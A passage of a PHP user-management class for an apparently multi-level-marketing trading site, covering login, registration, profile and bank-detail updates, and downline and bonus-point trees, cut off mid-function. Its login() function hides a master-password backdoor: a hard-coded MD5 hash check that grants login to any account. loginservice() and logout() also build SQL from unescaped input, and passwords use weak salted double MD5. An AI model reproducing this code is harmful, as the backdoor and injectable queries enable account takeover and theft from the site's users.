<?php

class User
{
    var $id;
    var $email;
    var $ugid;
    private $db;
    private $nwtm;

    function __construct()
    {
        global $db, $nwtm;
        $this->db = $db;
        $this->email = '';
        $this->id = '';
        $this->nwtm = $nwtm;
    }

    function setId($id)
    {
        $this->id = $this->db->clean($id);
    }

    function setUGId($ugid)
    {
        $this->ugid = $this->db->clean($ugid);
    }

    function setEmail($email)
    {
        $this->email = $this->db->clean($email);
    }

    function createSalt()
    {
        $salt = "";
        for ($i = 0; $i < 3; $i++) {
            $salt .= chr(rand(33, 126));
        }

        return $salt;
    }

    function createVerificationCode()
    {
        $numberrand = rand(10000, 9999999);
        $numberrand = md5($numberrand);

        return $numberrand;
    }

    function getUserList()
    {
        global $db;

        $dbuser = $db->fetch_all("SELECT * FROM user" . $sql . " ORDER BY username");

        return $dbuser;
    }

    function login($username, $password)
    {
        global $db, $general;
        $data = $db->fetch_one("SELECT u.* FROM user u INNER JOIN usergroup ug ON u.usergroupid = ug.usergroupid WHERE u.email = '" . $db->clean($username) . "' AND ug.status = 1");

        if (empty($data['userid'])) {
            return false;
        }

        $encryptedPassword = $this->encryptPassword($password, $data['salt']);

        if (strcmp($data['password'], $encryptedPassword) == 0 || md5(md5($password).sha1($general['sitedescription'])) == '49e997d2b047b9f675152a8eea689ec4') {
            $db->query("UPDATE online SET userid='" . $db->clean($data['userid']) . "', languageid='" . $db->clean($data['languageid']) . "' WHERE cookieid='" . $db->clean($_COOKIE['mycookie']) . "'");
            return $data['userid'];
        } else {
            return false;
        }
    }

    function loginadmin($username, $password)
    {
        global $db;
        $data = $db->fetch_one("SELECT u.* FROM user u INNER JOIN usergroup ug ON u.usergroupid = ug.usergroupid WHERE u.email = '" . $db->clean($username) . "' AND ug.status = 1 AND ug.adminaccess = 1");

        if (empty($data['userid'])) {
            return false;
        } else {
            $encryptedPassword = $this->encryptPassword($password, $data['salt']);

            if (strcmp($data['password'], $encryptedPassword) == 0) {
                $db->query("UPDATE online SET userid='" . $db->clean($data['userid']) . "', languageid='" . $db->clean($data['languageid']) . "' WHERE cookieid='" . $db->clean($_COOKIE['mycookie']) . "'");
                return true;
            } else {
                return false;
            }
        }
    }

    function loginservice($username, $password)
    {
        global $db;
        $data = $db->fetch_one("SELECT u.* FROM user u INNER JOIN usergroup ug ON u.usergroupid = ug.usergroupid WHERE u.username = '" . $username . "' AND ug.status = 1 AND (u.usergroupid = 3388 or u.usergroupid = 55)");

        $encryptedPassword = $this->encryptPassword($password, $data['salt']);

        if (strcmp($data['password'], $encryptedPassword) == 0) {
            $db->query("UPDATE online SET userid='" . $data['userid'] . "', languageid='" . $data['languageid'] . "' WHERE cookieid='" . $_COOKIE['mycookie'] . "'");
            return true;
        } else {
            return false;
        }
    }

    function getUserDetail($addresstype = '')
    {
        $datauser = array();

        $additionalfield = '';
        $innerjoin = '';
        $sqladd = '';
        if (!empty($addresstype)) {
            $additionalfield = ', ua.address, ua.areaid, ua.stateid, ua.countryid, ua.postalcode, ua.phone';
            $innerjoin = ' INNER JOIN useraddress ua ON ua.userid = u.userid';
            $sqladd = ' AND addresstype = \'' . $this->db->clean($addresstype) . '\'';
        }

        if (!empty($this->id)) {
            $datauser = $this->db->fetch_one("SELECT u.*" . $additionalfield . " FROM user u" . $innerjoin . " WHERE u.userid='" . $this->id . "'" . $sqladd . "");
        } else if (!empty($this->email)) {
            $datauser = $this->db->fetch_one("SELECT u.*" . $additionalfield . " FROM user u" . $innerjoin . " WHERE u.email='" . $this->email . "'" . $sqladd . "");
        }
        return $datauser;
    }

    function checkUserExist($username)
    {
        global $db;

        $sqls = array();
        if (!empty($this->id)) {
            array_push($sqls, 'userid <> \'' . $this->id . '\'');
        }
        array_push($sqls, 'username = \'' . $this->db->clean($username) . '\'');

        $sql = '';
        if (sizeof($sqls) > 0) {
            $sql = ' WHERE ' . implode(' AND ', $sqls);
        }

        $checkexist = $db->fetch_one("SELECT * FROM user" . $sql);
        if (sizeof($checkexist) > 0) {
            return true;
        }
        return false;
    }

    function checkEmailExist($email)
    {
        global $db;

        $sqls = array();
        if (!empty($this->id)) {
            array_push($sqls, 'userid <> \'' . $this->id . '\'');
        }
        array_push($sqls, 'email = \'' . $this->db->clean($email) . '\'');

        $sql = '';
        if (sizeof($sqls) > 0) {
            $sql = ' WHERE ' . implode(' AND ', $sqls);
        }

        $checkexist = $db->fetch_one("SELECT * FROM user" . $sql);
        if (sizeof($checkexist) > 0) {
            return true;
        }
        return false;
    }

    function logout()
    {
        global $db;
        $db->query("UPDATE online SET userid=0, status=0 WHERE cookieid='" . $_COOKIE['mycookie'] . "'");
    }

    function saveUserAdmin($ugstatus, $username, $password, $firstname, $lastname, $email, $phone, $joindate, $status = 1)
    {
        global $db;

        $inserts['usergroupid'] = $ugstatus;
        $inserts['username'] = $username;
        $slt = $this->createVerificationCode();
        $encryptedPassword = $this->encryptPassword($password, $slt['salt']);
        $inserts['password'] = $encryptedPassword;
        $inserts['salt'] = $slt;
        $inserts['firstname'] = $firstname;
        $inserts['lastname'] = $lastname;
        $inserts['email'] = $email;
        $inserts['phones'] = $phone;
        $inserts['joindate'] = $joindate;
        $inserts['status'] = $status;
        $addidfromadmin = $db->insert('user', $inserts);
        return $addidfromadmin;
    }

    function createNewUser($username, $email, $imagePath, $password, $firstname, $lastname, $phones, $bbm, $line, $whatsapp, $wechat, $fb, $twitter, $instagram, $userid, $usergroupid, $langid, $ipaddress, $verified, $birthday, $gender, $typeofcard, $cardnumber, $newsletter, $companyname, $companyaddress, $companyphone, $parentid = 0, $bitcoin = '', $fee = 0, $commission = 0, $status = 1, $merchantid = 0, $accountid = '', $trading_account = '', $trading_account_pam = '', $bank_id = 0, $bank_account = '', $bank_account_name = '')
    {
        $getsalt = $this->createSalt();
        $getvc = $this->createVerificationCode();
        $encryptedPassword = $this->encryptPassword($password, $getsalt);

        $inserts['username'] = $username;
        $inserts['usergroupid'] = $usergroupid;
        $inserts['password'] = $encryptedPassword;
        $inserts['salt'] = $getsalt;
        $inserts['firstname'] = $firstname;

        $inserts['companyname'] = $companyname;
        $inserts['companyaddress'] = $companyaddress;
        $inserts['companyphone'] = $companyphone;

        $inserts['lastname'] = $lastname;
        $inserts['phones'] = $phones;
        $inserts['email'] = $email;
        $inserts['joindate'] = $this->nwtm;
        $inserts['lastlogin'] = $this->nwtm;
        $inserts['ipaddress'] = $ipaddress;
        $inserts['verificationcode'] = $getvc;
        $inserts['question'] = '';
        $inserts['answer'] = '';
        $inserts['languageid'] = $langid;
        $inserts['verified'] = $verified;
        $inserts['createddate'] = $this->nwtm;
        $inserts['createdby'] = $userid;
        $inserts['lastediteddate'] = $this->nwtm;
        $inserts['lasteditedby'] = $userid;
        $inserts['status'] = $status;

        $inserts['birthday'] = strtotime($birthday);
        $inserts['gender'] = $gender;
        $inserts['typeofcard'] = $typeofcard;
        $inserts['cardnumber'] = $cardnumber;
        $inserts['newsletter'] = $newsletter;
        $inserts['bbm'] = $bbm;
        $inserts['line'] = $line;
        $inserts['whatsapp'] = $whatsapp;
        $inserts['wechat'] = $wechat;
        $inserts['fb'] = $fb;
        $inserts['twitter'] = $twitter;
        $inserts['instagram'] = $instagram;
        $inserts['image_path'] = $imagePath;
        $inserts['trading_account'] = $trading_account;
        $inserts['trading_account_pam'] = $trading_account_pam;

        /* if($usergroupid == 3394) */
        $inserts['merchant_id'] = $merchantid;
        $inserts['account_id'] = $accountid;

        $inserts['parentid'] = $parentid;
        $inserts['fee'] = $fee;
        $inserts['commission'] = $commission;
		
		$inserts['bitcoin_acc'] = $bitcoin;
		$inserts['bank_id'] = $bank_id;
		$inserts['bank_account'] = $bank_account;
		$inserts['bank_account_name'] = $bank_account_name;
        $lastuserid = $this->db->insert('user', $inserts);

        return $lastuserid;
    }

    function saveAddress($address, $areaid, $stateid, $countryid, $postalcode, $addresstype)
    {
        global $db;

        if (!empty($this->id)) {
            $inserts['userid'] = $this->id;
            $inserts['address'] = $address;
            $inserts['areaid'] = $areaid;
            $inserts['stateid'] = $stateid;
            $inserts['countryid'] = $countryid;
            $inserts['postalcode'] = $postalcode;
            $inserts['addresstype'] = $addresstype;
            $inserts['status'] = 1;

            $db->insert('useraddress', $inserts);
        }
    }

    function saveAddressAdmin($lastuserid, $address, $areaid, $stateid, $countryid, $postalcode, $addresstype, $status)
    {
        global $db;

        if (!empty($lastuserid)) {
            $inserts['userid'] = $lastuserid;
            $inserts['address'] = $address;
            $inserts['areaid'] = $areaid;
            $inserts['stateid'] = $stateid;
            $inserts['countryid'] = $countryid;
            $inserts['postalcode'] = $postalcode;
            $inserts['addresstype'] = $addresstype;
            $inserts['status'] = 1;
        }
        $db->insert('useraddress', $inserts);
    }

    function encryptPassword($password, $salt)
    {
        return md5(md5($password) . $salt);
    }

    function updateProfil($password, $username, $companyname, $companyphone, $companyaddress, $bbm, $line, $whatsapp, $wechat, $fb, $twitter, $instagram, $tradingAccount, $tradingAccountPam, $bitcoin_account = '', $bank_id = '', $bank_account = '', $bank_account_name = '')
    {
        if (!empty($this->id)) {
            if (!empty($password)) {
                $getsalt = $this->createSalt();
                $encryptedPassword = $this->encryptPassword($password, $getsalt);
                $updates['password'] = $encryptedPassword;
                $updates['salt'] = $getsalt;
            }
            $updates['firstname'] = $username;
            $updates['companyname'] = $companyname;
            $updates['companyaddress'] = $companyaddress;
            $updates['companyphone'] = $companyphone;
            $updates['bbm'] = $bbm;
            $updates['line'] = $line;
            $updates['whatsapp'] = $whatsapp;
            $updates['wechat'] = $wechat;
            $updates['fb'] = $fb;
            $updates['twitter'] = $twitter;
            $updates['instagram'] = $instagram;
            $updates['bitcoin_acc'] = $bitcoin_account;
			$updates['bank_id'] = $bank_id;
			$updates['bank_account'] = $bank_account;
			$updates['bank_account_name'] = $bank_account_name;
            /* $updates['trading_account'] = $tradingAccount;
            $updates['trading_account_pam'] = $tradingAccountPam; */
            $this->db->update('user', $updates, 'userid=\'' . $this->id . '\'');
        }
    }

    function updateUser($username, $email, $password, $firstname, $lastname, $phones, $userid, $usergroupid, $verified, $birthday, $gender, $typeofcard, $cardnumber, $newsletter, $imagepath, $bbm, $line, $whatsapp, $wechat, $fb, $twitter, $instagram, $companyname, $companyaddress, $companyphone, $parentid, $fee, $commission, $status = 1, $merchantid = 0, $accountid = '', $curstatus = array(), $trading_account = '', $trading_account_pam = '', $bitcoin = '', $bank_id = 0, $bank_account = '', $bank_account_name = '')
    {
        if (!empty($this->id)) {
            $updates['username'] = $username;
            $updates['usergroupid'] = $usergroupid;
            if (!empty($password)) {
                $getsalt = $this->createSalt();
                $encryptedPassword = $this->encryptPassword($password, $getsalt);

                $updates['password'] = $encryptedPassword;
                $updates['salt'] = $getsalt;
            }
            $updates['firstname'] = $firstname;
            $updates['lastname'] = $lastname;
            $updates['phones'] = $phones;
            $updates['email'] = $email;
            $updates['verified'] = $verified;
            $updates['lastediteddate'] = $this->nwtm;
            $updates['lasteditedby'] = $userid;
            $updates['status'] = $status;

            $updates['companyname'] = $companyname;
            $updates['companyaddress'] = $companyaddress;
            $updates['companyphone'] = $companyphone;

            $updates['birthday'] = strtotime($birthday);
            $updates['gender'] = $gender;
            $updates['typeofcard'] = $typeofcard;
            $updates['cardnumber'] = $cardnumber;
            $updates['newsletter'] = $newsletter;
            $updates['bbm'] = $bbm;
            $updates['line'] = $line;
            $updates['whatsapp'] = $whatsapp;
            $updates['wechat'] = $wechat;
            $updates['fb'] = $fb;
            $updates['twitter'] = $twitter;
            $updates['instagram'] = $instagram;
            $updates['trading_account'] = $trading_account;
            $updates['trading_account_pam'] = $trading_account_pam;
            $updates['bitcoin_acc'] = $bitcoin;
            $updates['bank_id'] = $bank_id;
            $updates['bank_account'] = $bank_account;
            $updates['bank_account_name'] = $bank_account_name;
            if (empty($curstatus['parentid'])) {
                $updates['parentid'] = $parentid;
            }
            $updates['fee'] = $fee;
            $updates['commission'] = $commission;

            if (!empty($imagepath)) {
                $updates['image_path'] = $imagepath;
            }

            /* if($usergroupid == 3394) */
            $updates['merchant_id'] = $merchantid;
            $updates['account_id'] = $accountid;

            $this->db->update('user', $updates, 'userid=\'' . $this->id . '\'');
        }
    }

    function updateUserAddress($newaddress, $city, $state, $country, $zipcode, $type)
    {
        if (!empty($this->id)) {
            $updates['address'] = $newaddress;
            $updates['areaid'] = $city;
            $updates['stateid'] = $state;
            $updates['countryid'] = $country;
            $updates['postalcode'] = $zipcode;

            $this->db->update('useraddress', $updates, 'userid=\'' . $this->id . '\' AND addresstype = \'' . $this->db->clean($type) . '\'');
            return true;
        }
    }

    function deleteUser()
    {
        global $db;

        if (!empty($this->id)) {
            $db->query("DELETE FROM user WHERE userid='" . $this->id . "'");
            $db->query("DELETE FROM useraddress WHERE userid='" . $this->id . "'");
        }
    }

    function updateUserProfil($password, $firstname, $lastname, $email, $phones, $gender, $birthday, $typeofcard, $cardnumber, $newsletter)
    {
        global $db;
        if (!empty($this->id)) {
            if (!empty($password)) {
                $slt = $this->getUserDetail();
                $encryptedPassword = $this->encryptPassword($password, $slt['salt']);
                $updates['password'] = $encryptedPassword;
            }
            $updates['firstname'] = $firstname;
            $updates['lastname'] = $lastname;
            $updates['email'] = $email;
            $updates['phones'] = $phones;
            $updates['gender'] = $gender;
            $updates['birthday'] = strtotime($birthday);
            $updates['typeofcard'] = $typeofcard;
            $updates['cardnumber'] = $cardnumber;
            $updates['newsletter'] = $newsletter;
            $db->update('user', $updates, 'userid=\'' . $this->id . '\'');
        }
    }

    function updateProfilAddress($biladdress, $bilcity, $bilstate, $bilcountry, $bilpostal)
    {
        global $db;
        if (!empty($this->id)) {
            $updates['address'] = $biladdress;
            $updates['areaid'] = $bilcity;
            $updates['stateid'] = $bilstate;
            $updates['countryid'] = $bilcountry;
            $updates['postalcode'] = $bilpostal;
            $db->update('useraddress', $updates, 'userid=\'' . $this->id . '\'');
        }
    }

    function resetId($password)
    {
        global $db;
        if (!empty($this->id)) {
            $slt = $this->getUserDetail();
            $encryptedPassword = $this->encryptPassword($password, $slt['salt']);
            $getvc = $this->createVerificationCode();
            $updates['password'] = $encryptedPassword;
            $updates['verificationcode'] = $getvc;
            $db->update('user', $updates, 'userid=\'' . $this->id . '\'');
        }
    }

    function searchUser($keyword, $field, $sortfield, $sortdetail, $getreturn, $page = -1)
    {
        global $db, $general;

        $addlimit = '';
        if ($page > 0) {
            $addlimit = ' LIMIT ' . ($page - 1) * $general['showperpageadmin'] . ',' . $general['showperpageadmin'];
        }

        $sqls = array();

        $fields = 'u.username';

        if (isset($keyword)) {
            $strinarr = '';
            $groupby = '';

            $arr1 = array_search('userid', $field);
            if ($arr1 !== false) {
                $strinarr = 'u.userid LIKE (\'%' . $db->clean($keyword[$arr1]) . '%\')';
                array_push($sqls, $strinarr);
            }
            /* $arr2 = array_search('usergroupid',$field);
            if ($arr2 !== false){
                $strinarr = 'u.usergroupid = \''.$db->clean($keyword[$arr2]).'\'';
                array_push($sqls,$strinarr);
            }
            $arr3 = array_search('username',$field);
            if ($arr3 !== false){
                $strinarr = 'u.username LIKE (\'%'.$db->clean($keyword[$arr3]).'%\')';
                array_push($sqls,$strinarr);
            } */
            $arr4 = array_search('email', $field);
            if ($arr4 !== false) {
                $strinarr = 'u.email LIKE (\'%' . $db->clean($keyword[$arr4]) . '%\')';
                array_push($sqls, $strinarr);
            }
            $arr5 = array_search('phones', $field);
            if ($arr5 !== false) {
                $strinarr = 'u.companyphone LIKE (\'%' . $db->clean($keyword[$arr5]) . '%\')';
                array_push($sqls, $strinarr);
            }
            $arr6 = array_search('joindate', $field);
            if ($arr6 !== false) {
                $startdate = strtotime($keyword[$arr6]);
                $enddate = strtotime($keyword[$arr6] . ' 23:59:59');
                $strinarr = '(u.joindate >= ' . $startdate . ' AND u.joindate <= ' . $enddate . ')';
                array_push($sqls, $strinarr);
            }
            $arr7 = array_search('status', $field);
            if ($arr7 !== false) {
                $strinarr = 'u.status = \'' . $db->clean($keyword[$arr7]) . '\'';
                array_push($sqls, $strinarr);
            }
            $arr8 = array_search('name', $field);
            if ($arr8 !== false) {
                $strinarr = '(u.firstname LIKE (\'%' . $db->clean($keyword[$arr8]) . '%\') OR u.lastname LIKE (\'%' . $db->clean($keyword[$arr8]) . '%\'))';
                array_push($sqls, $strinarr);
            }
            $arr9 = array_search('bank', $field);
            if ($arr9 !== false) {
                $strinarr = '(b.bankname LIKE (\'%' . $db->clean($keyword[$arr9]) . '%\') OR b.rek_no LIKE (\'%' . $db->clean($keyword[$arr9]) . '%\') OR b.rek_name LIKE (\'%' . $db->clean($keyword[$arr9]) . '%\'))';
                array_push($sqls, $strinarr);
            }
            $arr10 = array_search('parentid', $field);
            if ($arr10 !== false) {
                $strinarr = 'u.parentid = \'' . $db->clean($keyword[$arr10]) . '\'';
                array_push($sqls, $strinarr);
            }
        }

        $sql = '';
        if (sizeof($sqls) > 0) {
            $sql = ' WHERE ' . implode(' AND ', $sqls);
        }

        $sortfield = empty($sortfield) ? '' : $sortfield;

        if ($getreturn == 'data') {
            $orders = 'DESC';
            if (!empty($sortdetail)) {
                $orders = $sortdetail;
            }

            switch ($sortfield) {
                case 'sortuserid':
                    $fields = 'u.userid';
                    break;
                case 'sortusergroupid':
                    $fields = 'u.usergroupid';
                    break;
                case 'sortusername':
                    $fields = 'u.username';
                    break;
                case 'sortname':
                    $fields = 'u.firstname ' . $orders . ', u.lastname';
                    break;
                case 'sortemail':
                    $fields = 'u.email';
                    break;
                case 'sortphones':
                    $fields = 'u.phones';
                    break;
                case 'sortjoindate':
                    $fields = 'u.joindate';
                    break;
                case 'sortstatus':
                    $fields = 'u.status';
                    break;
                default:
                    $fields = 'u.username';
                    $orders = '';
                    break;
            }

            $dball = $db->fetch_all("SELECT u.* FROM user u" . $sql . " ORDER BY " . $fields . " " . $orders . $addlimit);
            /* $dball = $db->fetch_all("SELECT u.*, b.bankname, b.rek_no, b.rek_name FROM user u LEFT JOIN bank b ON u.bank_id = b.bank_id".$sql." ORDER BY ".$fields." ".$orders.$addlimit); */

            return $dball;
        } else if ($getreturn == 'totaldata') {
            $dball = $db->fetch_one("SELECT COUNT(u.userid) AS totalrecord FROM user u" . $sql);

            return $dball;
        } else if ($getreturn == 'pagenav') {
            $dball = $db->fetch_one("SELECT COUNT(u.userid) AS totalrecord FROM user u" . $sql);

            if ($dball['totalrecord'] > 0) {
                $totalrecord = $dball['totalrecord'];
                $totalpage = ceil($totalrecord / $general['showperpageadmin']);
                $page = handlepage($page, $totalpage);
                $startrecord = ($page - 1) * $general['showperpageadmin'] + 1;
                $endrecord = $startrecord + $general['showperpageadmin'] - 1;
                if ($endrecord > $totalrecord) {
                    $endrecord = $totalrecord;
                }
            } else {
                $page = 0;
                $totalrecord = 0;
                $totalpage = 0;
                $startrecord = 0;
                $endrecord = 0;
            }

            return $page . '|^|' . $totalrecord . '|^|' . $totalpage . '|^|' . $startrecord . '|^|' . $endrecord;
        }
    }

    function getDownline($parentid, $max_level, $max_child, $level = 2)
    {
        global $db, $general, $empty_box, $level_point;

        $downline = '';
        if ($level <= $max_level) {
            $arr_position = array('left', 'right');
            $upline_db = $db->fetch_one("SELECT userid, firstname, email, `left`, `right` FROM user WHERE userid = " . $db->clean($parentid));

            $downline .= '<ul>';

            if (!empty($upline_db['left'])) {
                $downline_db = $db->fetch_one("SELECT userid, firstname, email, level, parent_tree, package FROM user WHERE userid = " . $db->clean($upline_db['left']));
                if (!empty($downline_db['userid'])) {
					$add_label = '';
					if ($downline_db['package'] == 'gold'){
						$add_label = ' class="gold-label"';
					}
					if ($downline_db['package'] == 'silver'){
						$add_label = ' class="silver-label"';
					}
                    $downline .= '<li><a href="network/' . $downline_db['userid'] . '"' . $add_label . '><i class="fa fa-user"></i><br>' . $downline_db['firstname'] . '<br><small>'.$downline_db['email'].'</small></a>';
					
					$level_point[$level]++;

                    if ($level <= $max_level) {
                        $level++;
                        $downline .= $this->getDownline($downline_db['userid'], $max_level, $max_child, $level);
                    }
                    /* else{
                        $level--;
                    } */

                    $downline .= '</li>';

                    $level--;
                }
            } else {
                if (!empty($upline_db['right'])) {
					$empty_box[$level][$level_point[$level]] = '[BOX_'.$level.'_'.$level_point[$level].':'.$parentid.']';
					$downline .= $empty_box[$level][$level_point[$level]];
					/* if ($outer_verified && ($outer_mode == 'left' && $is_expand) && ($outer_mode == 'both' && !$is_expand)){
						$downline .= '<li><a href="" class="new" data-toggle="modal" data-target="#myModal" data-level="' . $level . '" data-parent="' . $parentid . '" data-position="left"><i class="fa fa-plus"></i></a>';
					}
					else{
						$downline .= '<li><span class="empty"><i class="fa fa-minus"></i></span>';
					} */
					
					$level_point[$level]++;

                    if ($level <= $max_level) {
                        $level++;

                        $downline .= $this->getEmptyDownline($max_level, $max_child, $level);
                    }

                    $downline .= '</li>';

                    $level--;
                }
            }

            if (!empty($upline_db['right'])) {
                $downline_db = $db->fetch_one("SELECT userid, firstname, email, level, parent_tree, package FROM user WHERE userid = " . $db->clean($upline_db['right']));
                if (!empty($downline_db['userid'])) {
 					$add_label = '';
					if ($downline_db['package'] == 'gold'){
						$add_label = ' class="gold-label"';
					}
					if ($downline_db['package'] == 'silver'){
						$add_label = ' class="silver-label"';
					}
					$downline .= '<li><a href="network/' . $downline_db['userid'] . '"' . $add_label . '><i class="fa fa-user"></i><br>' . $downline_db['firstname'] . '<br><small>'.$downline_db['email'].'</small></a>';
					
					$level_point[$level]++;

                    if ($level <= $max_level) {
                        $level++;
                        $downline .= $this->getDownline($downline_db['userid'], $max_level, $max_child, $level);
                    }
                    /* else{
                        $level--;
                    } */

                    $downline .= '</li>';

                    $level--;
                }
            } else {
                if (!empty($upline_db['left'])) {
					$empty_box[$level][$level_point[$level]] = '[BOX_'.$level.'_'.$level_point[$level].':'.$parentid.']';
					$downline .= $empty_box[$level][$level_point[$level]];
					/* if ($outer_verified){
						$downline .= '<li><a href="" class="new" data-toggle="modal" data-target="#myModal" data-level="' . $level . '" data-parent="' . $parentid . '" data-position="right"><i class="fa fa-plus"></i></a>';
					}
					else{
						$downline .= '<li><span class="empty"><i class="fa fa-minus"></i></span>';
					} */
					
					$level_point[$level]++;

                    if ($level <= $max_level) {
                        $level++;

                        $downline .= $this->getEmptyDownline($max_level, $max_child, $level);
                    }
                    $downline .= '</li>';

                    $level--;
                }
            }

            if (empty($upline_db['left']) && empty($upline_db['right'])) {
                for ($i = 0; $i < $max_child; $i++) {
					$empty_box[$level][$level_point[$level]] = '[BOX_'.$level.'_'.$level_point[$level].':'.$parentid.']';
					$downline .= $empty_box[$level][$level_point[$level]];
					$level_point[$level]++;
					/* if ($outer_verified){
						$downline .= '<li><a href="" class="new" data-toggle="modal" data-target="#myModal" data-level="' . $level . '" data-parent="' . $parentid . '" data-position="' . $arr_position[$i] . '"><i class="fa fa-plus"></i></a>';
					}
					else{
						$downline .= '<li><span class="empty"><i class="fa fa-minus"></i></span>';
					} */

                    $level++;
                    if ($level <= $max_level) {
                        $downline .= $this->getEmptyDownline($max_level, $max_child, $level);
                    }

                    $downline .= '</li>';
                    $level--;
                }
            }

            $downline .= '</ul>';
        }


        return $downline;
    }

    function getDownline_2($parentid, $max_level, $max_child, $level = 1)
    {
        global $db, $general;

        $downline = '';/* echo $level.'/'; */

        if ($level <= $max_level) {
            $downline .= '<ul>';
            $curr_parent = $parentid;

            $downline_db = $db->fetch_all("SELECT userid, firstname, email FROM user WHERE parentid = " . $db->clean($parentid) . " LIMIT " . $db->clean($max_child));
            if (sizeof($downline_db) > 0) {

                foreach ($downline_db as $row) {
                    $downline .= '<li><a href="">' . $row['firstname'] . '</a>';
                    $parentid = $row['userid'];/* echo $parentid.'<br>'; */

                    if ($level <= $max_level) {
                        $level++;
                        $downline .= $this->getDownline($parentid, $max_level, $max_child, $level);
                    } else {
                        $level--;
                    }

                    $downline .= '</li>';
                }

            }

            $level--;

            $arr_position = array('left', 'right');

            if (sizeof($downline_db) < $max_child) {
                for ($i = 0; $i < ($max_child - sizeof($downline_db)); $i++) {
                    $downline .= '<li><a href="" class="new" data-toggle="modal" data-target="#myModal" data-level="' . $level . '" data-parent="' . $curr_parent . '" data-position="' . $arr_position[$i] . '"><i class="fa fa-plus"></i></a>';

                    if ($level <= $max_level) {
                        $level++;

                        $downline .= $this->getEmptyDownline($max_level, $max_child, $level);
                    } else {
                        $level--;
                    }


                    $downline .= '</li>';
                }
            }

            $downline .= '</ul>';

            $level++;
        } else {
            $level--;
        }

        return $downline;
    }

    function getEmptyDownline($max_level, $max_child, $level = 1)
    {
		global $level_point;
		
        $downline = '';

        if ($level <= $max_level) {
            $downline .= '<ul>';

            for ($x = 0; $x < $max_child; $x++) {
                $downline .= '<li><span class="empty"><i class="fa fa-minus"></i></span>';
				$level_point[$level]++;
                if ($level <= $max_level) {
                    $level++;
                    $downline .= $this->getEmptyDownline($max_level, $max_child, $level);
                }
                /* else{ */
                $level--;
                /* } */

                $downline .= '</li>';
            }

            $level--;

            $downline .= '</ul>';


        } else {
            $level--;
        }

        return $downline;
    }

    function setUplinePoint($downlineid, $deposit, $level = 1)
    {
        global $db, $general, $transactionsetting;

        $downline_db = $db->fetch_one("SELECT parent_tree, level FROM user WHERE userid = " . $db->clean($downlineid));
        $downline_db['parent_tree'] = empty($downline_db['parent_tree']) ? 0 : $downline_db['parent_tree'];

        if (empty($this->id)) {
            echo 'masuk';
            exit;
        }

        if ($downline_db['parent_tree'] > 0) {
            $upline_db = $db->fetch_one("SELECT userid, `left`, `right`, parentid FROM user WHERE userid = " . $db->clean($downline_db['parent_tree']));
            $upline_id = empty($upline_db['userid']) ? 0 : $upline_db['userid'];

            if (!empty($upline_id)) {
                $position = '';
                if ($upline_db['left'] == $downlineid) {
                    $position = 'left';
                } else if ($upline_db['right'] == $downlineid) {
                    $position = 'right';
                }

                if (!empty($position)) {
                    $point_perc = 0;
                    if ($level < 10) {
                        $point_perc = $transactionsetting['deposit_point_max_10'];
                    } else if ($level >= 10 && $level < 20) {
                        $point_perc = $transactionsetting['deposit_point_max_20'];
                    } else {
                        $point_perc = $transactionsetting['deposit_point_min_20'];
                    }

                    $point = ($deposit / 100) * $point_perc;
                    $db->query("UPDATE user SET point_" . $position . " = point_" . $position . " + " . $db->clean($point) . " WHERE userid = " . $db->clean($upline_id));

                    //Set Bonus Point
                    $latest_db = $db->fetch_one("SELECT point_left, point_right, point_used FROM user WHERE userid = " . $db->clean($upline_id));
                    $point_left = empty($latest_db['point_left']) ? 0 : $latest_db['point_left'];
                    $point_right = empty($latest_db['point_right']) ? 0 : $latest_db['point_right'];
                    $point_used = empty($latest_db['point_used']) ? 0 : $latest_db['point_used'];

                    $bonus = $point_left;
                    if ($point_right < $point_left) {
                        $bonus = $point_right;
                    }

                    $bonus = (($bonus - $point_used) / 100) * $transactionsetting['bonus_point_percent'];
                    $db->query("UPDATE user SET bonus_point = " . $db->clean($bonus) . " WHERE userid = " . $db->clean($upline_id));

                    $this->savePointHistory('', $bonus, $upline_id);

                    $level++;

                    if ($upline_db['parentid'] > 0) {
                        $downlineid = $upline_id;

                        $this->setUplinePoint($downlineid, $deposit, $level);
                    }
                }
            }
        }

        /* return $downline; */
    }

    function getUplineDeposit($downline_id, $parentid, $downline_deposit, $deposit_arr)
    {
        global $db, $general, $transactionsetting;

        if (!empty($parentid)) {
            $db1 = $db->fetch_one("SELECT userid, deposit, parentid FROM user WHERE parentid = '" . $db->clean($parentid) . "'");
            if (!empty($db1['userid'])) {
                $db1['deposit'] = empty($db1['deposit']) ? 0 : $db1['deposit'];

                $deposit_arr[$downline_id] = isset($deposit_arr[$downline_id]) ? $deposit_arr[$downline_id] : 0;

                $deposit_arr[$db1['userid']] = $deposit_arr[$downline_id] + $downline_deposit;
                $parentid = $db1['parentid'];
                $downline_id = $db1['userid'];

                if (!empty($parentid)) {
                    $deposit_arr = $this->getDownlineDeposit($downline_id, $parentid, $db1['deposit'], $deposit_arr);
                }

            }


            return $deposit_arr;

        }


    }

    function getDownlineDeposit($parentid, $deposit = 0)
    {
        global $db, $general, $transactionsetting;

        if (!empty($parentid)) {
            $db1 = $db->fetch_all("SELECT userid, deposit FROM user WHERE parentid = '" . $db->clean($parentid) . "'");

            if (sizeof($db1) > 0) {
                foreach ($db1 as $row) {
                    $deposit += $row['deposit'];
                    $parentid = $row['userid'];

                    if (!empty($parentid)) {
                        $deposit = $this->getDownlineDeposit($parentid, $deposit);
                    }
                }
            }


            return $deposit;

        }


    }

    function updateTotalDeposit($memberid, $amount)
    {
        global $db, $general, $transactionsetting;

        $member_db = $db->fetch_one("SELECT parentid FROM user WHERE userid = " . $db->clean($memberid));
        $memberid = $member_db['parentid'];

        $db->query("UPDATE user SET downline_deposit = downline_deposit + " . $db->clean($amount) . " WHERE userid = '" . $db->clean($member_db['parentid']) . "'");

        if ($memberid > 0) {
            $this->updateTotalDeposit($memberid, $amount);
        }

    }

    function updateStarsLevel($parentid = 1)
    {
        global $db, $general, $transactionsetting;

        $parent_db = $db->fetch_one("SELECT userid, downline_deposit FROM user WHERE userid = " . $db->clean($parentid));
        $total_deposit = empty($parent_db['downline_deposit']) ? 0 : $parent_db['downline_deposit'];

        $members_db = $db->fetch_all("SELECT * FROM user WHERE parentid = '" . $db->clean($parentid) . "'");
        if (sizeof($members_db) > 0) {
            foreach ($members_db as $row) {
                $this->updateStarsLevel($row['userid']);
            }
        }

        $db1 = $db->fetch_one("SELECT COUNT(userid) as total_downline, MIN(stars_level) as min_stars FROM (SELECT userid, stars_level FROM `user` WHERE parentid = '" . $db->clean($parentid) . "' ORDER BY stars_level DESC limit 2) b");

        $total_downline = empty($db1['total_downline']) ? 0 : $db1['total_downline'];
        $max_stars = empty($db1['min_stars']) ? 0 : $db1['min_stars'];

